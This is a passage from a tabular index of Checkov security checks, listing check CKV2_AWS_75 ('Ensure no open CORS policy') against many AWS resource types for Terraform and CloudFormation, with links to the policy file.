Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3624 | CKV2_AWS_75 | resource | aws_elasticache_user_group_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3625 | CKV2_AWS_75 | resource | aws_elasticsearch_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3626 | CKV2_AWS_75 | resource | aws_elasticsearch_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3627 | CKV2_AWS_75 | resource | aws_elasticsearch_domain_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3628 | CKV2_AWS_75 | resource | aws_elasticsearch_domain_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3629 | CKV2_AWS_75 | resource | aws_elasticsearch_domain_saml_options | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3630 | CKV2_AWS_75 | resource | aws_elasticsearch_domain_saml_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3631 | CKV2_AWS_75 | resource | aws_elasticsearch_vpc_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3632 | CKV2_AWS_75 | resource | aws_elasticsearch_vpc_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3633 | CKV2_AWS_75 | resource | aws_elastictranscoder_pipeline | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3634 | CKV2_AWS_75 | resource | aws_elastictranscoder_pipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3635 | CKV2_AWS_75 | resource | aws_elastictranscoder_preset | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3636 | CKV2_AWS_75 | resource | aws_elastictranscoder_preset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3637 | CKV2_AWS_75 | resource | aws_elb | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3638 | CKV2_AWS_75 | resource | aws_elb | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3639 | CKV2_AWS_75 | resource | aws_elb_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3640 | CKV2_AWS_75 | resource | aws_elb_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3641 | CKV2_AWS_75 | resource | aws_emr_block_public_access_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3642 | CKV2_AWS_75 | resource | aws_emr_block_public_access_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3643 | CKV2_AWS_75 | resource | aws_emr_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3644 | CKV2_AWS_75 | resource | aws_emr_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3645 | CKV2_AWS_75 | resource | aws_emr_instance_fleet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3646 | CKV2_AWS_75 | resource | aws_emr_instance_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3647 | CKV2_AWS_75 | resource | aws_emr_instance_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3648 | CKV2_AWS_75 | resource | aws_emr_instance_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3649 | CKV2_AWS_75 | resource | aws_emr_managed_scaling_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3650 | CKV2_AWS_75 | resource | aws_emr_managed_scaling_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3651 | CKV2_AWS_75 | resource | aws_emr_security_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3652 | CKV2_AWS_75 | resource | aws_emr_security_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3653 | CKV2_AWS_75 | resource | aws_emr_studio | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3654 | CKV2_AWS_75 | resource | aws_emr_studio | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3655 | CKV2_AWS_75 | resource | aws_emr_studio_session_mapping | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3656 | CKV2_AWS_75 | resource | aws_emr_studio_session_mapping | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3657 | CKV2_AWS_75 | resource | aws_emrcontainers_job_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3658 | CKV2_AWS_75 | resource | aws_emrcontainers_job_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3659 | CKV2_AWS_75 | resource | aws_emrcontainers_virtual_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3660 | CKV2_AWS_75 | resource | aws_emrcontainers_virtual_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3661 | CKV2_AWS_75 | resource | aws_emrserverless_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3662 | CKV2_AWS_75 | resource | aws_emrserverless_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3663 | CKV2_AWS_75 | resource | aws_evidently_feature | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3664 | CKV2_AWS_75 | resource | aws_evidently_feature | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3665 | CKV2_AWS_75 | resource | aws_evidently_launch | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3666 | CKV2_AWS_75 | resource | aws_evidently_launch | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3667 | CKV2_AWS_75 | resource | aws_evidently_project | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3668 | CKV2_AWS_75 | resource | aws_evidently_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3669 | CKV2_AWS_75 | resource | aws_evidently_segment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3670 | CKV2_AWS_75 | resource | aws_evidently_segment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3671 | CKV2_AWS_75 | resource | aws_finspace_kx_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3672 | CKV2_AWS_75 | resource | aws_finspace_kx_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3673 | CKV2_AWS_75 | resource | aws_finspace_kx_database | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3674 | CKV2_AWS_75 | resource | aws_finspace_kx_database | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3675 | CKV2_AWS_75 | resource | aws_finspace_kx_dataview | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3676 | CKV2_AWS_75 | resource | aws_finspace_kx_dataview | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3677 | CKV2_AWS_75 | resource | aws_finspace_kx_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3678 | CKV2_AWS_75 | resource | aws_finspace_kx_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3679 | CKV2_AWS_75 | resource | aws_finspace_kx_scaling_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3680 | CKV2_AWS_75 | resource | aws_finspace_kx_scaling_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3681 | CKV2_AWS_75 | resource | aws_finspace_kx_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3682 | CKV2_AWS_75 | resource | aws_finspace_kx_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3683 | CKV2_AWS_75 | resource | aws_finspace_kx_volume | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3684 | CKV2_AWS_75 | resource | aws_finspace_kx_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3685 | CKV2_AWS_75 | resource | aws_fis_experiment_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3686 | CKV2_AWS_75 | resource | aws_fis_experiment_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3687 | CKV2_AWS_75 | resource | aws_flow_log | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3688 | CKV2_AWS_75 | resource | aws_flow_log | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3689 | CKV2_AWS_75 | resource | aws_fms_admin_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3690 | CKV2_AWS_75 | resource | aws_fms_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3691 | CKV2_AWS_75 | resource | aws_fms_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3692 | CKV2_AWS_75 | resource | aws_fms_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3693 | CKV2_AWS_75 | resource | aws_fms_resource_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3694 | CKV2_AWS_75 | resource | aws_fms_resource_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3695 | CKV2_AWS_75 | resource | aws_fsx_backup | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3696 | CKV2_AWS_75 | resource | aws_fsx_backup | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3697 | CKV2_AWS_75 | resource | aws_fsx_data_repository_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3698 | CKV2_AWS_75 | resource | aws_fsx_data_repository_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3699 | CKV2_AWS_75 | resource | aws_fsx_file_cache | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3700 | CKV2_AWS_75 | resource | aws_fsx_file_cache | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3701 | CKV2_AWS_75 | resource | aws_fsx_lustre_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3702 | CKV2_AWS_75 | resource | aws_fsx_lustre_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3703 | CKV2_AWS_75 | resource | aws_fsx_ontap_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3704 | CKV2_AWS_75 | resource | aws_fsx_ontap_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3705 | CKV2_AWS_75 | resource | aws_fsx_ontap_storage_virtual_machine | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3706 | CKV2_AWS_75 | resource | aws_fsx_ontap_storage_virtual_machine | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3707 | CKV2_AWS_75 | resource | aws_fsx_ontap_volume | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3708 | CKV2_AWS_75 | resource | aws_fsx_ontap_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3709 | CKV2_AWS_75 | resource | aws_fsx_openzfs_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3710 | CKV2_AWS_75 | resource | aws_fsx_openzfs_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3711 | CKV2_AWS_75 | resource | aws_fsx_openzfs_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3712 | CKV2_AWS_75 | resource | aws_fsx_openzfs_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3713 | CKV2_AWS_75 | resource | aws_fsx_openzfs_volume | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3714 | CKV2_AWS_75 | resource | aws_fsx_openzfs_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3715 | CKV2_AWS_75 | resource | aws_fsx_windows_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3716 | CKV2_AWS_75 | resource | aws_fsx_windows_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3717 | CKV2_AWS_75 | resource | aws_gamelift_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3718 | CKV2_AWS_75 | resource | aws_gamelift_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3719 | CKV2_AWS_75 | resource | aws_gamelift_build | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3720 | CKV2_AWS_75 | resource | aws_gamelift_build | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3721 | CKV2_AWS_75 | resource | aws_gamelift_fleet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3722 | CKV2_AWS_75 | resource | aws_gamelift_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3723 | CKV2_AWS_75 | resource | aws_gamelift_game_server_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3724 | CKV2_AWS_75 | resource | aws_gamelift_game_server_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3725 | CKV2_AWS_75 | resource | aws_gamelift_game_session_queue | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3726 | CKV2_AWS_75 | resource | aws_gamelift_game_session_queue | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3727 | CKV2_AWS_75 | resource | aws_gamelift_script | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3728 | CKV2_AWS_75 | resource | aws_gamelift_script | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3729 | CKV2_AWS_75 | resource | aws_glacier_vault | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3730 | CKV2_AWS_75 | resource | aws_glacier_vault | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3731 | CKV2_AWS_75 | resource | aws_glacier_vault_lock | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3732 | CKV2_AWS_75 | resource | aws_glacier_vault_lock | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3733 | CKV2_AWS_75 | resource | aws_globalaccelerator_accelerator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3734 | CKV2_AWS_75 | resource | aws_globalaccelerator_accelerator | Ensure no open CORS policy | Cloudformation | 